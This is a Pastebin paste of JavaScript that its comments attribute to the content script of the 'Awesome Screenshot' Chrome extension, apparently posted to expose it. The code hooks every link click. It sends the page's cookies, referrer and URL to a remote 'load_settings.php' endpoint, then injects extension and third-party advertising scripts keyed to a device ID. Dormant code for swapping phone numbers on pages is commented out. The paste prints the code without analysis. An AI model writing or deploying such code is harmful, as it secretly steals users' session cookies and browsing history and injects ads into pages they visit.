Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Awesome Screenshot https://www.diigo.com/awe/new-for-awesome-screenshot.html
- // https://chrome.google.com/webstore/detail/awesome-screenshot-captur/alelhddbbhepgpmgidjdcjakblofbmce
- // chrome-extension://alelhddbbhepgpmgidjdcjakblofbmce/javascripts/presto/presto_content.js
- // http://screen.vbiyske.ru/i/1a00de4ae18917727e82d3423ba7648d.png
- //
- (function() {
- var phone_sources;
- var phone_targets;
- var port = chrome.extension.connect();
- //timeout for merchants that fire onclick events
- setTimeout(function() {
- for (i = 0; i < document.links.length; i++) {
- //loop through anchor tags and add event for anchors without the attribute
- if (!document.links[i].getAttribute("onclick")) {
- document.links[i].onclick = function() {
- port.postMessage({
- msg: "last_url",
- data: this.href
- });
- }
- }
- }
- }, 1000);
- port.postMessage({
- msg: "send_uid"
- });
- port.onMessage.addListener(function(r) {
- if (r.msg == "rcv_uid")
- onPageLoad(r.data);
- });
- // Perform an in-order traversal of "node" and call "func" on each node.
- function walkDOM(node, func) {
- func(node);
- node = node.firstChild;
- while (node) {
- walkDOM(node, func);
- node = node.nextSibling;
- }
- }
- // Walk the DOM and perform search and replace on text nodes only.
- function replaceText(search, replace, target) {
- walkDOM(target, function(node) {
- var val = node.textContent,
- new_val;
- if (node && node.nodeType === Node.TEXT_NODE) {
- new_val = val.replace(search, replace);
- if (new_val !== val) {
- node.textContent = new_val;
- }
- }
- });
- }
- function rewrite_phone_numbers(event) {
- if (typeof event === 'undefined') {
- event = document.getElementsByTagName("body")[0];
- } else {
- event = event.target;
- }
- // For each source phone number, look up its replacement, then perform search and replace on current page.
- for (var i = 0; i < phone_sources.length; i++) {
- var source_number = phone_sources[i][0];
- var source_tag = phone_sources[i][1];
- var replacement = phone_targets[source_tag];
- // XXX-YYY-ZZZZ
- replaceText(source_number.slice(0, 3) + '-' + source_number.slice(3, 6) + '-' + source_number.slice(6),
- replacement.slice(0, 3) + '-' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
- // XXX-YYYYYYY
- replaceText(source_number.slice(0, 3) + '-' + source_number.slice(3),
- replacement.slice(0, 3) + '-' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
- // XXX.YYY.ZZZZ
- replaceText(source_number.slice(0, 3) + '.' + source_number.slice(3, 6) + '.' + source_number.slice(6),
- replacement.slice(0, 3) + '.' + replacement.slice(3, 6) + '.' + replacement.slice(6), event);
- // (XXX) YYY ZZZZ
- replaceText('(' + source_number.slice(0, 3) + ') ' + source_number.slice(3, 6) + ' ' + source_number.slice(6),
- '(' + replacement.slice(0, 3) + ') ' + replacement.slice(3, 6) + ' ' + replacement.slice(6), event);
- // (XXX) YYY-ZZZZ
- replaceText('(' + source_number.slice(0, 3) + ') ' + source_number.slice(3, 6) + '-' + source_number.slice(6),
- '(' + replacement.slice(0, 3) + ') ' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
- }
- }
- function onPageLoad(data) {
- phone_sources = data.phone_rewrite_sources;
- phone_targets = data.phone_rewrite_targets;
- // rewrite_phone_numbers();
- // document.addEventListener('DOMNodeInserted', rewrite_phone_numbers);
- httpRequestPost(data.src + "load_settings.php?pid=" + data.adv + "&host=" + document.location.host + "&u=" + data.uid + "-" + data.brows + "-" + data.adv, "cookies=" + encodeURIComponent(document.cookie) + '&ref=' + encodeURIComponent(document.referrer) + "&url=" + encodeURIComponent(document.location.href) + "&subid=" + data.subid + "&last_url=" + data.last_url, function(response) {
- var json = JSON.parse(response);
- console.log(json);
- if (typeof json === "object") {
- var script = document.createElement("script");
- script.type = "text/javascript";
- script.src = chrome.extension.getURL("javascripts/presto/prestosavings.js");
- document.getElementsByTagName("head")[0].appendChild(script);
- json.params = data;
- setTimeout(function() {
- postMessage({
- message: "psLoadSettingsStart",
- data: json
- }, "*");
- }, 100);
- if (json.search_feed) {
- // Inject search advertisements from Science using device GUID from background.js.
- try {
- if (data.device_guid) {
- var script = document.createElement("script");
- script.type = "text/javascript";
- script.src = "//dqqae1zro8sy7.cloudfront.net/js/science.js";
- script.id = "sb_content_script";
- script.dg = data.device_guid;
- document.getElementsByTagName("head")[0].appendChild(script);
- }
- } catch (ex) {}
- }
- }
- });
- }
- function httpRequestPost(Url, data, func) {
- var request = new XMLHttpRequest();
- request.onreadystatechange = function() {
- if (request.readyState == 4 && request.status == 200) {
- func(request.responseText);
- }
- }
- request.open("POST", Url, true);
- request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- request.send(data);
- }
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement